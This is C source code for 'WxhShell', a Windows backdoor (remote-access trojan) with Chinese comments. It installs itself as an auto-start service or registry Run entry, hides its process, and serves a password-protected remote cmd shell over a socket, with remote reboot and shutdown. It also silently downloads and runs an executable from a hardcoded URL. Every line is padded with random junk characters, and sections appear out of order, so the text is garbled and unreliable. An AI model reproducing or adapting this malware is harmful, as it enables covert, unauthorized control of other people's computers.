    closesocket(wsh); 7Q # A  
    ExitThread(0); H:,Hr_;nC  
    } sO8F0@%aH(  
    break; .-.b:gdO(  
    } d+&w7/F  
  // 关机 $%?[f;S3,  
  case 'd': { @eN,m {b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j%fi*2uX  
    if(Boot(SHUTDOWN)) kwrM3nq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6:`4bo  
    else { [g$IN/o%  
    closesocket(wsh); } v3w-  
    ExitThread(0); lLNI5C  
    } +pbP;zu  
    break; O\}w&BE:h  
    } UMlvu?u2p1  
  // 获取shell zl)r3#6hW  
  case 's': { *:Y9&s^6j  
    CmdShell(wsh); QTjnXg?Ri  
    closesocket(wsh); 9K=K,6 b  
    ExitThread(0); X6n8Bi9Ik  
    break; C@9K`N[*  
  } t7,**$ST  
  // 退出 @{@)gE  
  case 'x': { 3PaMq6Ca  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P B{7u  
    CloseIt(wsh); I\('b9"*  
    break; FQ]5W |e  
    } R{{?wr6b$  
  // 离开 /_tN&[  
  case 'q': { L.% zs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8hZc#b;  
    closesocket(wsh); Eg$Er*)h8  
    WSACleanup(); /F}dC/W  
    exit(1); hGo/Ve+@  
    break; SHqz &2u  
        } ,-1d2y  
  } 3SI%>CO}  
  } s~g]`/h$r  
f!JSb?#3  
  // 提示信息 .zvvk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kDc/]Zb%  
} 2Kw i4R  
  } XknbcA|  
L}>ts(!q&  
  return; fP{IW`t}]  
} {hx=6"@  
3OJGBiDAr  
// shell模块句柄 &}VVr  
int CmdShell(SOCKET sock) &}FWpo!  
{ [`bA,)y"  
STARTUPINFO si; @gm!D`YL  
ZeroMemory(&si,sizeof(si)); \|$GBU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W7.QK/@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %wIb@km  
PROCESS_INFORMATION ProcessInfo; -Vj112 fI  
char cmdline[]="cmd"; __ G=xf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lt#3&@<v  
  return 0; S,RC;D7  
} ?cgb3^R'  
36yIfC,  
// 自身启动模式 |/!RN[<   
int StartFromService(void) y@dTdR2Wc  
{ *NQsD C.J^  
typedef struct {\ogw0X  
{ u(4o#m  
  DWORD ExitStatus; 8 %^W<.Y  
  DWORD PebBaseAddress; &;$- &;  
  DWORD AffinityMask; x.>[A^  
  DWORD BasePriority; ]wV_xZ)l^A  
  ULONG UniqueProcessId; 1yjP`N  
  ULONG InheritedFromUniqueProcessId; [ejl #'*5  
}   PROCESS_BASIC_INFORMATION; #=I5_u  
-_BjzA|  
PROCNTQSIP NtQueryInformationProcess; 3 /LW6W|  
+=(@=PJ6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qj,^"rp1:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zCSLV>.F  
9f$3{ g{m  
  HANDLE             hProcess; P^'}3*8S  
  PROCESS_BASIC_INFORMATION pbi; }K9Ji]tOK:  
I.)9:7   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P@Av/r  
  if(NULL == hInst ) return 0; / 2h6  
]}nX$xy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OCI{)r<O2m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ib~EQ?u{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RzqU`<//  
}Z% j=c"d  
  if (!NtQueryInformationProcess) return 0; =+VI{~.|}  
TV(%e4U=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K2-nP2Go?  
  if(!hProcess) return 0; sW!MVv  
9,0}}3J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]VK9d;0D  
CpC6vA.R  
  CloseHandle(hProcess); PsI{y&.  
*|)O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IYB;X  
if(hProcess==NULL) return 0; !4mAZF b  
KPdlg.  
HMODULE hMod; P:c 'W?  
char procName[255]; #5_pE1  
unsigned long cbNeeded; 8rSu,&<  
[ jgC`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FSS~E [(DL  
`-<m#HF:)d  
  CloseHandle(hProcess); ]8EkZC  
" {Nw K  
if(strstr(procName,"services")) return 1; // 以服务启动 @RLlkWGc  
)LE#SGJP  
  return 0; // 注册表启动 4I3)eS%2  
} I}1<epd ,  
E0"DHjR  
// 主模块 xwu,<M v `  
int StartWxhshell(LPSTR lpCmdLine) ,4kipJ!,yK  
{ StM)lVeF  
  SOCKET wsl; 'pl){aL`@u  
BOOL val=TRUE; 0/?=FM >  
  int port=0; !6{b)P  
  struct sockaddr_in door; ^HNccr  
?=\_U  
  if(wscfg.ws_autoins) Install(); j:'!P<#  
S3_QOL  
port=atoi(lpCmdLine); UQ)7uYQ5  
_CXXgF[OCA  
if(port<=0) port=wscfg.ws_port; v9vY#W  
R86:1  
  WSADATA data; *(]@T@yN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9/LJ tM  
i+B tz-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q4&<RWbT^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aFwfF^\(|,  
  door.sin_family = AF_INET; t^@4n&Dg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [[d@P%X&  
  door.sin_port = htons(port); "Kt[jV;6  
2[$` ]{U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qf6}\0   
closesocket(wsl); <=7^D  
return 1; Sh RkL<  
} >l|dLyiae  
e+>&? x  
  if(listen(wsl,2) == INVALID_SOCKET) { OPwO`pN  
closesocket(wsl); E[E[Za^Y  
return 1; h;sdm/  
} ,R;wk=k  
  Wxhshell(wsl); JIyIQg'5i  
  WSACleanup(); <y5f[HjLy  
B~2\v%J  
return 0; wXxk+DV@  
6sp?'GO`~  
} dsJHhsu6  
{BKr/) H  
// 以NT服务方式启动 cYMlc wS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a uz2n  
{ 5UHxB"`C  
DWORD   status = 0; Zf%6U[{ T  
  DWORD   specificError = 0xfffffff; ;l6tZ]-"  
:X;AmLf`2u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m]NyEMYg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^zr]#`@G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |k^ *  
  serviceStatus.dwWin32ExitCode     = 0; tkGJ!aUt  
  serviceStatus.dwServiceSpecificExitCode = 0; +#!! 'XP  
  serviceStatus.dwCheckPoint       = 0; *qm@;!C  
  serviceStatus.dwWaitHint       = 0; <e&*Tx<8  
* F T )`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?=h{`Ci^ $  
  if (hServiceStatusHandle==0) return; )gR !G]Y  
zbDM+;  
status = GetLastError(); xPi/nWl`|  
  if (status!=NO_ERROR) /n SmGAO  
{ X4R+Frt8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cSSrMYX2  
    serviceStatus.dwCheckPoint       = 0; @gZ<!g/vza  
    serviceStatus.dwWaitHint       = 0; 8Dq;QH}  
    serviceStatus.dwWin32ExitCode     = status; ?#LbhO*   
    serviceStatus.dwServiceSpecificExitCode = specificError; B)M& FO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +L8 6 w7  
    return; ^3L6mOoA  
  } @ 0RB.-  
6*<=(SQI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bNG;`VZ%  
  serviceStatus.dwCheckPoint       = 0; ![BQ;X  
  serviceStatus.dwWaitHint       = 0; x`vIY-DS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'MHbXFM  
} ^c{,QS{  
mb\}F9  
// 处理NT服务事件,比如:启动、停止 < g<Lf[n$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VzR (O B  
{ ~\%MJ3  
switch(fdwControl) ]r{-K63P{!  
{ v^h \E+@  
case SERVICE_CONTROL_STOP: # Pulbk8  
  serviceStatus.dwWin32ExitCode = 0; n#G I& U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \1[I(u  
  serviceStatus.dwCheckPoint   = 0; < }3c%Q1  
  serviceStatus.dwWaitHint     = 0; ? 5qo>W<7  
  { _ G!lQ)1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e4V4%Qw  
  } {Tp0#fi  
  return; .3%eSbt0  
case SERVICE_CONTROL_PAUSE: Eg"DiI)7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $Gs&' y R  
  break; \vB-0w  
case SERVICE_CONTROL_CONTINUE: XB)e;R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oVsj Q  
  break; p1Q[c0NMK  
case SERVICE_CONTROL_INTERROGATE: u:pdY'`"#  
  break; X3DXEeBEL  
}; JrTSu`S('  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _M+'30  
} nu] k<^I5|  
WYQJ +z5  
// 标准应用程序主函数 I72UkmK`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jGzs; bE  
{ .$DB\jJXjV  
,epKt(vl  
// 获取操作系统版本 &+-ZXN  
OsIsNt=GetOsVer(); cWl)ZE<hM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =z]&E 78Y  
z0Vd(QL  
  // 从命令行安装 O`O{n_o^u  
  if(strpbrk(lpCmdLine,"iI")) Install(); F_!6C-z  
Hw5\~!FX  
  // 下载执行文件 owTW_V  
if(wscfg.ws_downexe) { Z&=K+P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _=jc%@]1y  
  WinExec(wscfg.ws_filenam,SW_HIDE); f)q\RJA)X  
} H*3f8A&@s  
Phl't~k  
if(!OsIsNt) { :tM|$TZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 rd\mFz-SB  
HideProc(); ;h_"5/#  
StartWxhshell(lpCmdLine); 2](R}  
} ,JT|E~P?8  
else @QtJ/("&WC  
  if(StartFromService()) geWis(#J  
  // 以服务方式启动 +&tY&dQQB  
  StartServiceCtrlDispatcher(DispatchTable); T1;yw1/m5\  
else B8 -/ C\  
  // 普通方式启动 71cc6T  
  StartWxhshell(lpCmdLine); g?UG6mFbE  
je.jui"  
return 0; Wt"@?#L  
} 4QK([q  
|!dyk<}oIu  
SxC$EQ gL  
$}l0Nh'Eu  
=========================================== zY(*Xk  
GY<Y,  
u.0Z)j}N  
e}f!zA  
_x z_D12  
9M~EH?>+[  
" 0F`@/C1y55  
~.AUy%$_g+  
#include <stdio.h> ?AyG!F  
#include <string.h> 5|x FY/%  
#include <windows.h> P$.Azrl  
#include <winsock2.h> >9F,=63A  
#include <winsvc.h> (SoV2[|  
#include <urlmon.h> 17H_>a\`  
q+dY&4&u  
#pragma comment (lib, "Ws2_32.lib") ;f[Ki$7  
#pragma comment (lib, "urlmon.lib") }k duN0  
 nq8mzI  
#define MAX_USER   100 // 最大客户端连接数 O9A.WSJ >}  
#define BUF_SOCK   200 // sock buffer oj$D3  
#define KEY_BUFF   255 // 输入 buffer @pYAqX2  
>t'/(y  
#define REBOOT     0   // 重启 ( E&}SI~  
#define SHUTDOWN   1   // 关机 @8|-  C  
6"[`"~9'V  
#define DEF_PORT   5000 // 监听端口 rcq(p (!  
mR[J Xh9s  
#define REG_LEN     16   // 注册表键长度 wX#=l?,K  
#define SVC_LEN     80   // NT服务名长度 N|z-s  
n O$(\ z)  
// 从dll定义API >6=yxCJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )1lR;fD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9,82Uta  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9O?.0L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !a ~>;+  
qeBfE  
// wxhshell配置信息 X;v/$=-mz  
struct WSCFG { 6fY(u7m|p  
  int ws_port;         // 监听端口 @&S4j]rq  
  char ws_passstr[REG_LEN]; // 口令 '+Gt+Gq+  
  int ws_autoins;       // 安装标记, 1=yes 0=no st|$Fu  
  char ws_regname[REG_LEN]; // 注册表键名 bh6Mh< +  
  char ws_svcname[REG_LEN]; // 服务名 niFX8%<hP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -mO[;lO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >UE_FC*u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "\vEi &C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ub{<m^|)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WsL*P .J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I`t"Na2i  
be$wG O=Ts  
}; )mB+#T<k-  
^uMy|d  
// default Wxhshell configuration c*1t<OAS~  
struct WSCFG wscfg={DEF_PORT, R6h(mPYA  
    "xuhuanlingzhe", @PZ&/F ^  
    1, s IY`H^  
    "Wxhshell", fR~_5 pt7  
    "Wxhshell", n9050&_S  
            "WxhShell Service", gZM\RJZ_  
    "Wrsky Windows CmdShell Service", dum! AO  
    "Please Input Your Password: ", I6M 7xn  
  1, Gz+Bk5#{  
  "http://www.wrsky.com/wxhshell.exe", YnNB#x8|  
  "Wxhshell.exe" %njX'7^u  
    }; ,`^B!U3m   
DCPK1ql  
// 消息定义模块 7F>5<Gv:-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zM|d9TS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c;&m}ImLe.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b DeHU$  
char *msg_ws_ext="\n\rExit."; [j?n}D@L  
char *msg_ws_end="\n\rQuit."; ^IjKT  
char *msg_ws_boot="\n\rReboot..."; GL cf'$l  
char *msg_ws_poff="\n\rShutdown..."; j_L 'Ztu3  
char *msg_ws_down="\n\rSave to "; y/$WjFj3"  
8ysU.5S  
char *msg_ws_err="\n\rErr!"; m[LIM}Gu  
char *msg_ws_ok="\n\rOK!"; up=4B  
T8GxoNm  
char ExeFile[MAX_PATH]; f h)Cz)  
int nUser = 0; x4CrWm  
HANDLE handles[MAX_USER]; ~x)Awdlu  
int OsIsNt; o*_[3{FU  
u&I?LZ-=,  
SERVICE_STATUS       serviceStatus; GLB7h 9>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O/e5LA  
\tye:!a?;@  
// 函数声明 rqxoqcZ  
int Install(void); e#:.JbJ:D  
int Uninstall(void); pD9*WKEf*  
int DownloadFile(char *sURL, SOCKET wsh); c+f~>AaI  
int Boot(int flag); Lp 5LRw  
void HideProc(void); _k\*4K8L  
int GetOsVer(void); gGxgU$`#c  
int Wxhshell(SOCKET wsl); MRxzOs  
void TalkWithClient(void *cs); :7K cD\fCj  
int CmdShell(SOCKET sock); WNrgqyM  
int StartFromService(void); {VE\}zKF  
int StartWxhshell(LPSTR lpCmdLine); fJBp,{0  
cgNK67"(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R+Dx#Wn I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hk3}}jc  
G#t!{Q}8  
// 数据结构和表定义 \rn:/  
SERVICE_TABLE_ENTRY DispatchTable[] = luACdC  
{ ?x7zYE,6  
{wscfg.ws_svcname, NTServiceMain}, a[Ah  
{NULL, NULL} ]R32dI8N  
}; St7ZyN1  
wb~#=6Y  
// 自我安装 y2;uG2IS_g  
int Install(void) -"Wp L2qD  
{ ]dHU  
  char svExeFile[MAX_PATH]; .K]n<+zW  
  HKEY key; z$ZG`v>0  
  strcpy(svExeFile,ExeFile); S@* lI2  
;9PJ K5>~  
// 如果是win9x系统,修改注册表设为自启动 0"o%=i;  
if(!OsIsNt) { ,#W>E,UU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4/vQ/>c2j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {&nL'R  
  RegCloseKey(key); ZjF5*A8l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fQ33J>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \CNv,HUm3  
  RegCloseKey(key); Y> ElE-  
  return 0; ;*>Y8^K&Q  
    } OPOL-2<wiy  
  } j;6kN-jx  
} ]awu7}C9Z  
else { qIIc>By(\"  
Mhp6,JL  
// 如果是NT以上系统,安装为系统服务 ,j\1UAa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q;a"M7  
if (schSCManager!=0) ^h #0e:7<  
{ cc`+rD5I-  
  SC_HANDLE schService = CreateService 5q4sxY9T  
  ( "=8= G  
  schSCManager, ;%wQnhg  
  wscfg.ws_svcname, P(AcDG6K  
  wscfg.ws_svcdisp, FbO\#p s  
  SERVICE_ALL_ACCESS, v3>jXf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o+Cd\D69S  
  SERVICE_AUTO_START, |uL"/cMW7  
  SERVICE_ERROR_NORMAL, >F7v'-*{  
  svExeFile,  {}x{OP  
  NULL, 4 :m/w!q$  
  NULL, K6 D3  
  NULL, L WwWxerZ  
  NULL, N;N,5rxV  
  NULL ^}Vx5[  
  ); (b!`klQ  
  if (schService!=0) uRIa Nwohv  
  { o}QtKf)W  
  CloseServiceHandle(schService); (rFXzCI  
  CloseServiceHandle(schSCManager); sUl/9VKl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fu 0]BdM  
  strcat(svExeFile,wscfg.ws_svcname); 6IRzm6d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P:Nj;Cxh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +E5EOo{ `|  
  RegCloseKey(key); @ootKY`  
  return 0; ?VM4_dugf  
    } _pZ2^OO@  
  } v>ygr8+C,  
  CloseServiceHandle(schSCManager); ..u2IdEu  
} d4(!9O.\  
} ZV,1IaO  
[*i6?5}-  
return 1; bIs@CDB  
} 0{0A,;b  
1 UyQ``v/  
// 自我卸载 #}y(D{zc  
int Uninstall(void) \~ACWF7l  
{ ~:Pu Kx  
  HKEY key; A08b=S  
j)A$%xUo  
if(!OsIsNt) { e/S^Rx4W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A~Uqw8n$\  
  RegDeleteValue(key,wscfg.ws_regname); (j*1sk  
  RegCloseKey(key); 3d_PY,=1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X.YMb .\<  
  RegDeleteValue(key,wscfg.ws_regname); %BV 2 q  
  RegCloseKey(key); f*uD9l%/  
  return 0; >R&=mo~  
  } Vy+UOV&v-  
} ueimTXk  
} 4R8W ot  
else { rEWPVT  
0SJ7QRo|K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %\uEV  
if (schSCManager!=0) zSU06Y  
{ ,vN0Jpf}\8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;:0gN|+  
  if (schService!=0) vWM'}(  
  { qrq9NPf  
  if(DeleteService(schService)!=0) { c[a1 Md&  
  CloseServiceHandle(schService); lMcSe8LBQa  
  CloseServiceHandle(schSCManager); %uVbI'n)  
  return 0; :zL.dJwa  
  } ^Z 9v_qB  
  CloseServiceHandle(schService); jNO8n)a&p  
  } wd=xs7Dz<p  
  CloseServiceHandle(schSCManager); x: Nd>Fb  
} .F*2]xj@"  
} CYxrKW l:'  
HJ\CGYmyz  
return 1; <;?&<qMo,P  
} rX8EXraO  
H=7z d|W  
// 从指定url下载文件 N,><,7!q$,  
int DownloadFile(char *sURL, SOCKET wsh) w|1Gb[  
{ )kE(%q:*P$  
  HRESULT hr; YBX7WZCR  
char seps[]= "/"; O>![IH(L  
char *token; Gn ]%'lrg'  
char *file; rLzYkZ  
char myURL[MAX_PATH]; HxVQeyOR  
char myFILE[MAX_PATH]; 7 %P?3  
Kk^tQwj/QE  
strcpy(myURL,sURL); $j~oB:3n7  
  token=strtok(myURL,seps); EmDA\9~@R  
  while(token!=NULL) @QAyXwp  
  { !6wbg  
    file=token; 3,K*r"=  
  token=strtok(NULL,seps); + njE  
  } v!;E1  
kUJ\AK  
GetCurrentDirectory(MAX_PATH,myFILE); `;^%t  
strcat(myFILE, "\\"); u&=SZX&G k  
strcat(myFILE, file); X-Sso9/q.  
  send(wsh,myFILE,strlen(myFILE),0); /WDz;,X  
send(wsh,"...",3,0); `TkI yGr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cVZCBcKC?  
  if(hr==S_OK) 6, Q{/  
return 0; {PM)D [$i  
else n\2VrUQ)M  
return 1; @"}dbW<DV  
?80@+y]  
} Sa&~\!0t  
O=1uF  
// 系统电源模块 Ru?Ue4W^b  
int Boot(int flag) HrA6wn\O  
{ @=c{GAj  
  HANDLE hToken; vf@d (g  
  TOKEN_PRIVILEGES tkp;  ?4 `K8  
SnbH`\U"  
  if(OsIsNt) { ^uW!=%D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DytOS}/^9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h^P>pI~  
    tkp.PrivilegeCount = 1; B{ NKDkDH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sBIqee'T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JF*JF Ob  
if(flag==REBOOT) {  ]{OEU]I@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]lF'o&v]  
  return 0; /UjRuUC]  
} ->}K-n ),  
else { -A9 !Y{Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q[]!V0Ek10  
  return 0; #VC^><)3  
} +1p>:cih  
  } [pbX_  
  else { qH6DZ|  
if(flag==REBOOT) { xIF z@9+k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gFJ& t^yL  
  return 0; w\;=3C`  
} .i/]1X*;r^  
else { d@"eWvnlZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N_L&!%s  
  return 0; b]s=Uv#)  
} ,ewg3mYHC&  
} ;,'!  
0|{U"\  
return 1; "yc/8{U  
} ##u+[ !  
5v~Y>  
// win9x进程隐藏模块 ^lu)'z%6  
void HideProc(void) 5vY h~|  
{ yQhrPw> m  
!j4C:L3F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S#+G?I3w  
  if ( hKernel != NULL ) (eJr-xZ/  
  { N>Y`>5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ER5Q` H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v !@/  
    FreeLibrary(hKernel); 7^KQQ([  
  } ]qXHalHY  
yL.si)h(p  
return; }#<Sq57n  
} nB,FJJ{kb  
>o 3X)  
// 获取操作系统版本 "MC&!AMv  
int GetOsVer(void) An[*Jx  
{ <$Uj ~jN  
  OSVERSIONINFO winfo; 4PD"[a="  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kc8GnKM&mc  
  GetVersionEx(&winfo); >Fx$Rty  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /GM-#q a  
  return 1; <?qmB }Y  
  else gSR&CnqZ<  
  return 0; 5B2x# m|8  
} &%qD Som3  
`y YgL@Zt  
// 客户端句柄模块 4N$s vA  
int Wxhshell(SOCKET wsl) P603P  
{ W]2;5 `MM  
  SOCKET wsh; d*A>P  
  struct sockaddr_in client; ;S?1E:\av  
  DWORD myID; jcq(=7j  
D<++6HN&#  
  while(nUser<MAX_USER) hD >:WJ  
{ i;)g0}x`  
  int nSize=sizeof(client); ~iwEhF   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /=e[(5X|O  
  if(wsh==INVALID_SOCKET) return 1; _"0n.JQg  
k}lx!Ck  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ac7`nvI=  
if(handles[nUser]==0) g+k6pi*  
  closesocket(wsh); ['s_qCA[  
else !+hX$_RT  
  nUser++; wkJB5i^<w  
  } p*npY"}v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =r-Wy.a@  
[tD*\\IA  
  return 0; $\^]MxI  
} 4uftx1o   
GU[ Cq=k  
// 关闭 socket l?FNYvL  
void CloseIt(SOCKET wsh) TS[Z<m  
{ vQ_B2#U:  
closesocket(wsh); 8dA/dMQ  
nUser--; wj'iU&aca  
ExitThread(0); %BG5[ XQ7  
} q yJpm{  
|@ldXuYb  
// 客户端请求句柄 qFs<s<]  
void TalkWithClient(void *cs) ^_=0.:QaW  
{ u-K 5  
2(c#m*Q!b  
  SOCKET wsh=(SOCKET)cs; A.h?#%TLL  
  char pwd[SVC_LEN]; D$mrnm4d  
  char cmd[KEY_BUFF]; kW:!$MX!  
char chr[1]; yv:NH|,/y  
int i,j; =[jBOx&  
V3+%KkN  
  while (nUser < MAX_USER) { hy]AH)?pR  
^CE:?>a$  
if(wscfg.ws_passstr) { d:wAI|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nWl0R=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A"k,T7B  
  //ZeroMemory(pwd,KEY_BUFF); 6h,'#|:d  
      i=0; <n:?WP~U  
  while(i<SVC_LEN) { N-Z 9  
/vV 0$vg  
  // 设置超时 0iB 1_)~  
  fd_set FdRead; dog,vUu  
  struct timeval TimeOut; kL3=7t^ 1  
  FD_ZERO(&FdRead); <'B^z0I,  
  FD_SET(wsh,&FdRead); jCl[!L5/1  
  TimeOut.tv_sec=8; s-ou;S3s  
  TimeOut.tv_usec=0; .) GVb<w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  {Eb6.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cn<kl^!Q-  
W6iIL:sp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8(I"C$D!k  
  pwd=chr[0]; W!(Q_B  
  if(chr[0]==0xd || chr[0]==0xa) { NAU<?q<)  
  pwd=0; hf-S6PEsM  
  break; aF=VJ+5  
  } *,pqpD>  
  i++; EAkP[au.  
    } CP'-CQ\Q  
')aYkO{%sb  
  // 如果是非法用户,关闭 socket dWUu3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ll`apKr  
} 6{~I7!m"  
YH>n{o;- ?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4jW{IGW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IviWS84  
k?#6j1pn  
while(1) { *+z({S_Nv  
;:4puv+]  
  ZeroMemory(cmd,KEY_BUFF); 88K*d8m  
0>`69&;g|  
      // 自动支持客户端 telnet标准   /$=^0v +  
  j=0; fm* Hk57  
  while(j<KEY_BUFF) { ]VME`]t`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S@#L!sT`u  
  cmd[j]=chr[0]; bsm,lx]bH^  
  if(chr[0]==0xa || chr[0]==0xd) { Q'VS]n  
  cmd[j]=0; +=_Pl7?  
  break; On^#x]  
  } kYAvzuGRb  
  j++; {V8Pn2mlo  
    } AL0Rn e N  
hA8 zXk/'8  
  // 下载文件 f- <6T  
  if(strstr(cmd,"http://")) { f+V':qz  
